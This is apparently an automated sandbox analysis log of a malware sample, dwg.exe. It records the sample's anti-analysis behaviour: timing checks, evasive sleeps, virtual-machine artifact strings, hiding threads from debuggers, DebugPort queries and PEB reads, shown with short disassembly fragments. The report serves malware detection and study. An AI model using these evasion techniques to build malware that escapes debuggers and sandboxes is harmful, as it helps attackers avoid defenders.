Source: C:\Windows\SysWOW64\cmmon32.exe	RDTSC instruction interceptor: First address: 00000000023685F4 second address: 00000000023685FA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\cmmon32.exe	RDTSC instruction interceptor: First address: 000000000236898E second address: 0000000002368994 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\dwg.exe

Code function: 0_2_021E6233 rdtsc

0_2_021E6233

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\explorer.exe TID: 6896	Thread sleep time: -40000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe TID: 6888	Thread sleep time: -40000s >= -30000s			Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmmon32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmmon32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: dwg.exe, 00000004.00000003.252823162.0000000000846000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW*CkF
Source: explorer.exe, 00000005.00000000.274508758.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.274508758.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000005.00000000.274271564.0000000008640000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.273860626.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.277858620.000000000F59B000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}i
Source: dwg.exe, 00000004.00000003.252823162.0000000000846000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.266925690.00000000055D0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000005.00000000.277858620.000000000F59B000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ger_cw5n1h2txyewyF
Source: explorer.exe, 00000005.00000000.274508758.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000005.00000000.274508758.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000005.00000000.274627577.00000000087D1000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000005.00000002.474048022.0000000005603000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000005.00000000.273860626.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: dwg.exe	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: explorer.exe, 00000005.00000000.273860626.0000000008220000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000005.00000000.273860626.0000000008220000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Queries a list of all running processes

Source: C:\Users\user\Desktop\dwg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Contains functionality to hide a thread from the debugger

Source: C:\Users\user\Desktop\dwg.exe

Code function: 0_2_021E6233 NtSetInformationThread 000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,6DDB9555,?,321C9581

0_2_021E6233

Hides threads from debuggers

Source: C:\Users\user\Desktop\dwg.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Thread information set: HideFromDebugger			Jump to behavior

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\dwg.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\dwg.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cmmon32.exe	Process queried: DebugPort			Jump to behavior

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\dwg.exe

Code function: 0_2_021E6233 rdtsc

0_2_021E6233

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\dwg.exe

Code function: 0_2_021E3230 LdrInitializeThunk,

0_2_021E3230

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E583D mov eax, dword ptr fs:[00000030h]		0_2_021E583D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E4A27 mov eax, dword ptr fs:[00000030h]		0_2_021E4A27
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1870 mov eax, dword ptr fs:[00000030h]		0_2_021E1870
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2CC1 mov eax, dword ptr fs:[00000030h]		0_2_021E2CC1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E4EF1 mov eax, dword ptr fs:[00000030h]		0_2_021E4EF1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1D02 mov eax, dword ptr fs:[00000030h]		0_2_021E1D02
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1F93 mov eax, dword ptr fs:[00000030h]		0_2_021E1F93
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E49AA mov eax, dword ptr fs:[00000030h]		0_2_021E49AA
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1FD6 mov eax, dword ptr fs:[00000030h]		0_2_021E1FD6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13A61C mov eax, dword ptr fs:[00000030h]		4_2_1E13A61C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13A61C mov eax, dword ptr fs:[00000030h]		4_2_1E13A61C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10C600 mov eax, dword ptr fs:[00000030h]		4_2_1E10C600
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10C600 mov eax, dword ptr fs:[00000030h]		4_2_1E10C600
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10C600 mov eax, dword ptr fs:[00000030h]		4_2_1E10C600
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E138E00 mov eax, dword ptr fs:[00000030h]		4_2_1E138E00
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1608 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1608
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1BFE3F mov eax, dword ptr fs:[00000030h]		4_2_1E1BFE3F
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10E620 mov eax, dword ptr fs:[00000030h]		4_2_1E10E620
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E117E41 mov eax, dword ptr fs:[00000030h]		4_2_1E117E41
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E117E41 mov eax, dword ptr fs:[00000030h]		4_2_1E117E41
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E117E41 mov eax, dword ptr fs:[00000030h]		4_2_1E117E41
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E117E41 mov eax, dword ptr fs:[00000030h]		4_2_1E117E41
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E117E41 mov eax, dword ptr fs:[00000030h]		4_2_1E117E41
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E117E41 mov eax, dword ptr fs:[00000030h]		4_2_1E117E41
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CAE44 mov eax, dword ptr fs:[00000030h]		4_2_1E1CAE44
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CAE44 mov eax, dword ptr fs:[00000030h]		4_2_1E1CAE44
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12AE73 mov eax, dword ptr fs:[00000030h]		4_2_1E12AE73
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12AE73 mov eax, dword ptr fs:[00000030h]		4_2_1E12AE73
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12AE73 mov eax, dword ptr fs:[00000030h]		4_2_1E12AE73
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12AE73 mov eax, dword ptr fs:[00000030h]		4_2_1E12AE73
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12AE73 mov eax, dword ptr fs:[00000030h]		4_2_1E12AE73
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11766D mov eax, dword ptr fs:[00000030h]		4_2_1E11766D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19FE87 mov eax, dword ptr fs:[00000030h]		4_2_1E19FE87
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D0EA5 mov eax, dword ptr fs:[00000030h]		4_2_1E1D0EA5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D0EA5 mov eax, dword ptr fs:[00000030h]		4_2_1E1D0EA5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D0EA5 mov eax, dword ptr fs:[00000030h]		4_2_1E1D0EA5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1846A7 mov eax, dword ptr fs:[00000030h]		4_2_1E1846A7
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D8ED6 mov eax, dword ptr fs:[00000030h]		4_2_1E1D8ED6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E148EC7 mov eax, dword ptr fs:[00000030h]		4_2_1E148EC7
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1BFEC0 mov eax, dword ptr fs:[00000030h]		4_2_1E1BFEC0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1336CC mov eax, dword ptr fs:[00000030h]		4_2_1E1336CC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1316E0 mov ecx, dword ptr fs:[00000030h]		4_2_1E1316E0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1176E2 mov eax, dword ptr fs:[00000030h]		4_2_1E1176E2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12F716 mov eax, dword ptr fs:[00000030h]		4_2_1E12F716
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19FF10 mov eax, dword ptr fs:[00000030h]		4_2_1E19FF10
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19FF10 mov eax, dword ptr fs:[00000030h]		4_2_1E19FF10
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D070D mov eax, dword ptr fs:[00000030h]		4_2_1E1D070D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D070D mov eax, dword ptr fs:[00000030h]		4_2_1E1D070D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13A70E mov eax, dword ptr fs:[00000030h]		4_2_1E13A70E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13A70E mov eax, dword ptr fs:[00000030h]		4_2_1E13A70E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13E730 mov eax, dword ptr fs:[00000030h]		4_2_1E13E730
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E104F2E mov eax, dword ptr fs:[00000030h]		4_2_1E104F2E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E104F2E mov eax, dword ptr fs:[00000030h]		4_2_1E104F2E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11EF40 mov eax, dword ptr fs:[00000030h]		4_2_1E11EF40
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11FF60 mov eax, dword ptr fs:[00000030h]		4_2_1E11FF60
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D8F6A mov eax, dword ptr fs:[00000030h]		4_2_1E1D8F6A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E118794 mov eax, dword ptr fs:[00000030h]		4_2_1E118794
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E187794 mov eax, dword ptr fs:[00000030h]		4_2_1E187794
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E187794 mov eax, dword ptr fs:[00000030h]		4_2_1E187794
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E187794 mov eax, dword ptr fs:[00000030h]		4_2_1E187794
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1437F5 mov eax, dword ptr fs:[00000030h]		4_2_1E1437F5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D740D mov eax, dword ptr fs:[00000030h]		4_2_1E1D740D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D740D mov eax, dword ptr fs:[00000030h]		4_2_1E1D740D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D740D mov eax, dword ptr fs:[00000030h]		4_2_1E1D740D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186C0A mov eax, dword ptr fs:[00000030h]		4_2_1E186C0A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186C0A mov eax, dword ptr fs:[00000030h]		4_2_1E186C0A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186C0A mov eax, dword ptr fs:[00000030h]		4_2_1E186C0A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186C0A mov eax, dword ptr fs:[00000030h]		4_2_1E186C0A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C1C06 mov eax, dword ptr fs:[00000030h]		4_2_1E1C1C06
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13BC2C mov eax, dword ptr fs:[00000030h]		4_2_1E13BC2C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19C450 mov eax, dword ptr fs:[00000030h]		4_2_1E19C450
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E19C450 mov eax, dword ptr fs:[00000030h]		4_2_1E19C450
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13A44B mov eax, dword ptr fs:[00000030h]		4_2_1E13A44B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12746D mov eax, dword ptr fs:[00000030h]		4_2_1E12746D
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11849B mov eax, dword ptr fs:[00000030h]		4_2_1E11849B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D8CD6 mov eax, dword ptr fs:[00000030h]		4_2_1E1D8CD6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1C14FB mov eax, dword ptr fs:[00000030h]		4_2_1E1C14FB
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186CF0 mov eax, dword ptr fs:[00000030h]		4_2_1E186CF0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186CF0 mov eax, dword ptr fs:[00000030h]		4_2_1E186CF0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186CF0 mov eax, dword ptr fs:[00000030h]		4_2_1E186CF0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10AD30 mov eax, dword ptr fs:[00000030h]		4_2_1E10AD30
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E113D34 mov eax, dword ptr fs:[00000030h]		4_2_1E113D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CE539 mov eax, dword ptr fs:[00000030h]		4_2_1E1CE539
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E134D3B mov eax, dword ptr fs:[00000030h]		4_2_1E134D3B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E134D3B mov eax, dword ptr fs:[00000030h]		4_2_1E134D3B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E134D3B mov eax, dword ptr fs:[00000030h]		4_2_1E134D3B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D8D34 mov eax, dword ptr fs:[00000030h]		4_2_1E1D8D34
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E18A537 mov eax, dword ptr fs:[00000030h]		4_2_1E18A537
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E127D50 mov eax, dword ptr fs:[00000030h]		4_2_1E127D50
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E143D43 mov eax, dword ptr fs:[00000030h]		4_2_1E143D43
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E183540 mov eax, dword ptr fs:[00000030h]		4_2_1E183540
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12C577 mov eax, dword ptr fs:[00000030h]		4_2_1E12C577
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E12C577 mov eax, dword ptr fs:[00000030h]		4_2_1E12C577
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13FD9B mov eax, dword ptr fs:[00000030h]		4_2_1E13FD9B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E13FD9B mov eax, dword ptr fs:[00000030h]		4_2_1E13FD9B
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132581 mov eax, dword ptr fs:[00000030h]		4_2_1E132581
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132581 mov eax, dword ptr fs:[00000030h]		4_2_1E132581
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132581 mov eax, dword ptr fs:[00000030h]		4_2_1E132581
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E132581 mov eax, dword ptr fs:[00000030h]		4_2_1E132581
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E102D8A mov eax, dword ptr fs:[00000030h]		4_2_1E102D8A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E102D8A mov eax, dword ptr fs:[00000030h]		4_2_1E102D8A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E102D8A mov eax, dword ptr fs:[00000030h]		4_2_1E102D8A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E102D8A mov eax, dword ptr fs:[00000030h]		4_2_1E102D8A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E102D8A mov eax, dword ptr fs:[00000030h]		4_2_1E102D8A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E131DB5 mov eax, dword ptr fs:[00000030h]		4_2_1E131DB5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E131DB5 mov eax, dword ptr fs:[00000030h]		4_2_1E131DB5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E131DB5 mov eax, dword ptr fs:[00000030h]		4_2_1E131DB5
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D05AC mov eax, dword ptr fs:[00000030h]		4_2_1E1D05AC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1D05AC mov eax, dword ptr fs:[00000030h]		4_2_1E1D05AC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1335A1 mov eax, dword ptr fs:[00000030h]		4_2_1E1335A1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186DC9 mov eax, dword ptr fs:[00000030h]		4_2_1E186DC9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186DC9 mov eax, dword ptr fs:[00000030h]		4_2_1E186DC9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186DC9 mov eax, dword ptr fs:[00000030h]		4_2_1E186DC9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186DC9 mov ecx, dword ptr fs:[00000030h]		4_2_1E186DC9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186DC9 mov eax, dword ptr fs:[00000030h]		4_2_1E186DC9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E186DC9 mov eax, dword ptr fs:[00000030h]		4_2_1E186DC9
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1B8DF1 mov eax, dword ptr fs:[00000030h]		4_2_1E1B8DF1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11D5E0 mov eax, dword ptr fs:[00000030h]		4_2_1E11D5E0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E11D5E0 mov eax, dword ptr fs:[00000030h]		4_2_1E11D5E0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CFDE2 mov eax, dword ptr fs:[00000030h]		4_2_1E1CFDE2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CFDE2 mov eax, dword ptr fs:[00000030h]		4_2_1E1CFDE2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CFDE2 mov eax, dword ptr fs:[00000030h]		4_2_1E1CFDE2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CFDE2 mov eax, dword ptr fs:[00000030h]		4_2_1E1CFDE2
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E105210 mov eax, dword ptr fs:[00000030h]		4_2_1E105210
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E105210 mov ecx, dword ptr fs:[00000030h]		4_2_1E105210
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E105210 mov eax, dword ptr fs:[00000030h]		4_2_1E105210
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E105210 mov eax, dword ptr fs:[00000030h]		4_2_1E105210
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10AA16 mov eax, dword ptr fs:[00000030h]		4_2_1E10AA16
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E10AA16 mov eax, dword ptr fs:[00000030h]		4_2_1E10AA16
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E123A1C mov eax, dword ptr fs:[00000030h]		4_2_1E123A1C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E118A0A mov eax, dword ptr fs:[00000030h]		4_2_1E118A0A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E144A2C mov eax, dword ptr fs:[00000030h]		4_2_1E144A2C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E144A2C mov eax, dword ptr fs:[00000030h]		4_2_1E144A2C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1CEA55 mov eax, dword ptr fs:[00000030h]		4_2_1E1CEA55
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E194257 mov eax, dword ptr fs:[00000030h]		4_2_1E194257
